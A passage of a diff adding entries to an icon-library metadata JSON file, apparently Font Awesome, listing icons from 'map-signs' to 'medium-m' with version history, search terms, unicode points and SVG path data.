+ "width": 512, + "height": 512, + "path": "M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "markdown": { + "changes": [ + "5.2.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f60f", + "label": "Markdown", + "voted": true, + "svg": { + "brands": { + "last_modified": 1548364699930, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z" + } + }, + "free": [ + "brands" + ] + }, + "marker": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "edit", + "sharpie", + "update", + "write" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5a1", + "label": "Marker", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635591, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z" + } + }, + "free": [ + "solid" + ] + }, + "mars": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "male" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f222", + "label": "Mars", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635593, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "mars-double": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "solid" + ], + "unicode": "f227", + "label": "Mars Double", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635592, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z" + } + }, + "free": [ + "solid" + ] + }, + "mars-stroke": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "solid" + ], + "unicode": "f229", + "label": "Mars Stroke", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635592, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "mars-stroke-h": { + "changes": [ + "4.3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "solid" + ], + "unicode": "f22b", + "label": "Mars Stroke Horizontal", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635592, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z" + } + }, + "free": [ + "solid" + ] + }, + "mars-stroke-v": { + "changes": [ + "4.3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "solid" + ], + "unicode": "f22a", + "label": "Mars Stroke Vertical", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635592, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z" + } + }, + "free": [ + "solid" + ] + }, + "mask": { + "changes": [ + "5.4.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "carnivale", + "costume", + "disguise", + "halloween", + "secret", + "super hero" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6fa", + "label": "Mask", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635593, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z" + } + }, + "free": [ + "solid" + ] + }, + "mastodon": { + "changes": [ + "5.0.11", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f6", + "label": "Mastodon", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775904, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z" + } + }, + "free": [ + "brands" + ] + }, + "maxcdn": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f136", + "label": "MaxCDN", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861005, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z" + } + }, + "free": [ + "brands" + ] + }, + "mdb": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f8ca", + "label": "Material Design for Bootstrap", + "svg": { + "brands": { + "last_modified": 1568817883852, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z" + } + }, + "free": [ + "brands" + ] + }, + "medal": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "award", + "ribbon", + "star", + "trophy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5a2", + "label": "Medal", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635594, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z" + } + }, + "free": [ + "solid" + ] + }, + "medapps": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3c6", + "label": "MedApps", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861005, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z" + } + }, + "free": [ + "brands" + ] + }, + "medium": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f23a", + "label": "Medium", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633724, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z" + } + }, + "free": [ + "brands" + ] + }, + "medium-m": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3c7", + "label": "Medium M", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633724, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 